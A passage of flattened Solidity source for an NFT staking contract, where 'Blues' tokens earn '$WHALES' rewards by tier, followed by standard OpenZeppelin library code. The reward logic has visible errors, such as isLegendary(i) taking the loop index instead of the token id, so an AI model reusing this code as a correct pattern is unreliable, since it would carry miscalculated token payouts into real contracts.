reward rate uint256 DAILY_WHALES_BASE_RATE; uint256 DAILY_WHALES_RATE_TIER_1; uint256 DAILY_WHALES_RATE_TIER_2; uint256 DAILY_WHALES_RATE_TIER_3; uint256 DAILY_WHALES_RATE_TIER_4; uint256 DAILY_WHALES_RATE_TIER_5; uint256 DAILY_WHALES_RATE_LEGENDRY; uint256 INITIAL_MINT_REWARD_TIER_1; uint256 INITIAL_MINT_REWARD_TIER_2; uint256 INITIAL_MINT_REWARD_TIER_3; uint256 INITIAL_MINT_REWARD_TIER_4; uint256 INITIAL_MINT_REWARD_LEGENDRY_TIER; // amount of $WHALES earned so far // number of Blues in the ocean uint128 public totalBluesStaked; // the last time $WHALES was claimed //uint16 public lastInteractionTimeStamp; // max $WHALES supply IERC721 Blues; IWhales Whales; mapping(address => uint256) public totalWhalesEarnedPerAddress; mapping(address => uint256) public lastInteractionTimeStamp; mapping(address => uint256) public userMultiplier; mapping(address => uint16) public totalBluesStakedPerAddress; mapping(address => bool) public userFirstInteracted; mapping(uint256 => bool) public initialMintClaimLedger; mapping(address => uint8) public legendryHoldingsPerUser; address[5600] public ocean; function initialize(address _whales, address _blues) external initializer { __Ownable_init(); __Pausable_init(); __ReentrancyGuard_init(); Blues = IERC721(_blues); Whales = IWhales(_whales); DAILY_WHALES_BASE_RATE = 10 ether; DAILY_WHALES_RATE_TIER_1 = 11 ether; DAILY_WHALES_RATE_TIER_2 = 12 ether; DAILY_WHALES_RATE_TIER_3 = 13 ether; DAILY_WHALES_RATE_TIER_4 = 14 ether; DAILY_WHALES_RATE_TIER_5 = 15 ether; DAILY_WHALES_RATE_LEGENDRY = 50 ether; INITIAL_MINT_REWARD_LEGENDRY_TIER = 100 ether; INITIAL_MINT_REWARD_TIER_1 = 50 ether; INITIAL_MINT_REWARD_TIER_2 = 20 ether; INITIAL_MINT_REWARD_TIER_3 = 10 ether; } // entry point and main staking function. // takes an array of tokenIDs, and checks if the caller is // the owner of each token. // It then transfers the token to the Ocean contract. // At the end, it sets the userFirstInteracted mapping to true. // This is to prevent rewards calculation BEFORE having anything staked. // Otherwise, it leads to massive rewards. // The lastInteractionTimeStamp mapping is also updated. function addManyBluesToOcean(uint16[] calldata tokenIds) external nonReentrant whenNotPaused updateRewardsForUser(msg.sender) { userMultiplier[msg.sender] = DAILY_WHALES_BASE_RATE; require(tokenIds.length >= 1, "need at least 1 blue"); for (uint256 i = 0; i < tokenIds.length; i++) { require( Blues.ownerOf(tokenIds[i]) == msg.sender, "You are not the owner of this blue" ); _adjustUserLegendryWhalesMultiplier(tokenIds[i], true); totalBluesStakedPerAddress[msg.sender]++; _addBlueToOcean(msg.sender, tokenIds[i]); } _adjustUserDailyWhalesMultiplier( totalBluesStakedPerAddress[msg.sender] ); // only runs one time, the first time the user calls this function. if (userFirstInteracted[msg.sender] == false) { lastInteractionTimeStamp[msg.sender] = block.timestamp; userFirstInteracted[msg.sender] = true; } } // internal utility function that transfers the token and emits an event. function _addBlueToOcean(address account, uint16 tokenId) internal whenNotPaused { ocean[tokenId] = account; Blues.safeTransferFrom(msg.sender, address(this), tokenId); emit TokenStaked(msg.sender, tokenId); } // This function recalculate the user's holders multiplier // whenever they stake or unstake. // There are a total of 5 yeild tiers..depending on the number of tokens staked. function _adjustUserDailyWhalesMultiplier(uint256 stakedBlues) internal { if (stakedBlues < 5) userMultiplier[msg.sender] = DAILY_WHALES_BASE_RATE; else { if (stakedBlues >= 5 && stakedBlues <= 9) userMultiplier[msg.sender] = DAILY_WHALES_RATE_TIER_1; else if (stakedBlues >= 10 && stakedBlues <= 19) userMultiplier[msg.sender] = DAILY_WHALES_RATE_TIER_2; else if (stakedBlues >= 20 && stakedBlues <= 39) userMultiplier[msg.sender] = DAILY_WHALES_RATE_TIER_3; else if (stakedBlues >= 40 && stakedBlues <= 79) userMultiplier[msg.sender] = DAILY_WHALES_RATE_TIER_4; else userMultiplier[msg.sender] = DAILY_WHALES_RATE_TIER_5; } } function _adjustUserLegendryWhalesMultiplier(uint256 tokenId, bool staking) internal { //todo add support for the other 1/1 for the public mint if (staking) { if (tokenId > 5555 || isLegendary(tokenId)) legendryHoldingsPerUser[msg.sender]++; } else { if (tokenId > 5555 || isLegendary(tokenId)) legendryHoldingsPerUser[msg.sender]--; } } // claims the rewards owed till now and updates the lastInteractionTimeStamp mapping. // also emits an event, etc.. // finally, it sets the totalWhalesEarnedPerAddress to 0. function claimWhalesWithoutUnstaking() external nonReentrant whenNotPaused updateRewardsForUser(msg.sender) { require(userFirstInteracted[msg.sender], "Stake some blues first"); require( totalWhalesEarnedPerAddress[msg.sender] > 0, "No whales to claim" ); Whales.mint(msg.sender, totalWhalesEarnedPerAddress[msg.sender]); emit WhalesMinted(msg.sender, totalWhalesEarnedPerAddress[msg.sender]); totalWhalesEarnedPerAddress[msg.sender] = 0; } // same as the previous function, except this one unstakes as well. // it verfied the owner in the Stake struct to be the msg.sender // it also verifies the the current owner is this contract. // it then decrease the total number staked for the user // and then calls safeTransferFrom. // it then mints the tokens. // finally, it calls _adjustUserDailyWhalesMultiplier function claimWhalesAndUnstake(uint256[] calldata tokenIds) public nonReentrant whenNotPaused updateRewardsForUser(msg.sender) { require(userFirstInteracted[msg.sender], "Stake some blues first"); for (uint256 i = 0; i < tokenIds.length; i++) { require( Blues.ownerOf(tokenIds[i]) == address(this), "This Blue is not staked" ); require( ocean[tokenIds[i]] == msg.sender, "You are not the owner of this blue" ); _adjustUserLegendryWhalesMultiplier(tokenIds[i], false); delete ocean[tokenIds[i]]; totalBluesStakedPerAddress[msg.sender]--; Blues.safeTransferFrom(address(this), msg.sender, tokenIds[i]); } _adjustUserDailyWhalesMultiplier( totalBluesStakedPerAddress[msg.sender] ); Whales.mint(msg.sender, totalWhalesEarnedPerAddress[msg.sender]); emit WhalesMinted(msg.sender, totalWhalesEarnedPerAddress[msg.sender]); totalWhalesEarnedPerAddress[msg.sender] = 0; } // Each minting tier is elligble for a token claim based on how early they minted. // first 500 tokenIds get 50 whales for instance. // there are 3 tiers. function claimInitialMintingRewards(uint256[] calldata tokenIds) public nonReentrant whenNotPaused { uint256 rewards = 0; for (uint256 i = 0; i < tokenIds.length; i++) { require( Blues.ownerOf(tokenIds[i]) == msg.sender, "You are not the owner of this token" ); require( initialMintClaimLedger[tokenIds[i]] == false, "Rewards already claimed for this token" ); initialMintClaimLedger[tokenIds[i]] = true; if (tokenIds[i] <= 500) rewards += INITIAL_MINT_REWARD_TIER_1; else if (tokenIds[i] > 500 && tokenIds[i] < 1500) rewards += INITIAL_MINT_REWARD_TIER_2; else if (tokenIds[i] > 5555 || isLegendary(i)) rewards += INITIAL_MINT_REWARD_LEGENDRY_TIER; else rewards += INITIAL_MINT_REWARD_TIER_3; } Whales.mint(msg.sender, rewards); emit WhalesMinted(msg.sender, rewards); } function isLegendary(uint256 tokenID) public pure returns (bool) { if ( tokenID == 756 || tokenID == 2133 || tokenID == 1111 || tokenID == 999 || tokenID == 888 || tokenID == 435 || tokenID == 891 || tokenID == 918 || tokenID == 123 || tokenID == 432 || tokenID == 543 || tokenID == 444 || tokenID == 333 || tokenID == 222 || tokenID == 235 || tokenID == 645 || tokenID == 898 || tokenID == 1190 || tokenID == 3082 || tokenID == 3453 || tokenID == 2876 || tokenID == 5200 || tokenID == 451 ) return true; return false; } // The main accounting modifier. // It runs when the user interacts with any other function. // and before the function itself. // stores the owed results till now in the totalWhalesEarnedPerAddress // mapping. It then sets the lastInteractionTimeStamp to the current block.timestamp modifier updateRewardsForUser(address account) { if (userFirstInteracted[msg.sender]) { totalWhalesEarnedPerAddress[msg.sender] += ((block.timestamp - lastInteractionTimeStamp[msg.sender]) * totalBluesStakedPerAddress[msg.sender] * userMultiplier[msg.sender]) / 1 days; // now accounting if they are holding legendries. if (legendryHoldingsPerUser[msg.sender] > 0) { totalWhalesEarnedPerAddress[msg.sender] += ((block.timestamp - lastInteractionTimeStamp[msg.sender]) * (legendryHoldingsPerUser[msg.sender] * DAILY_WHALES_RATE_LEGENDRY)) / 1 days; } lastInteractionTimeStamp[msg.sender] = block.timestamp; } _; } //read only function. function getDailyYield(address account) external view returns (uint256) { uint256 yeild = (totalBluesStakedPerAddress[account] * userMultiplier[account]); yeild += (legendryHoldingsPerUser[account] * DAILY_WHALES_RATE_LEGENDRY); return yeild; } function getOcean() external view returns (address[5600] memory) { return ocean; } function setBlues(address _blues) external onlyOwner { Blues = IERC721(_blues); } function setWhales(address _whales) external onlyOwner { Whales = IWhales(_whales); } // only owner function setPaused(bool _paused) external onlyOwner { if (_paused) _pause(); else _unpause(); } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external pure override returns (bytes4) { return this.onERC721Received.selector; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal onlyInitializing { __Pausable_init_unchained(); } function __Pausable_init_unchained() internal onlyInitializing { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal onlyInitializing { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal onlyInitializing { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as 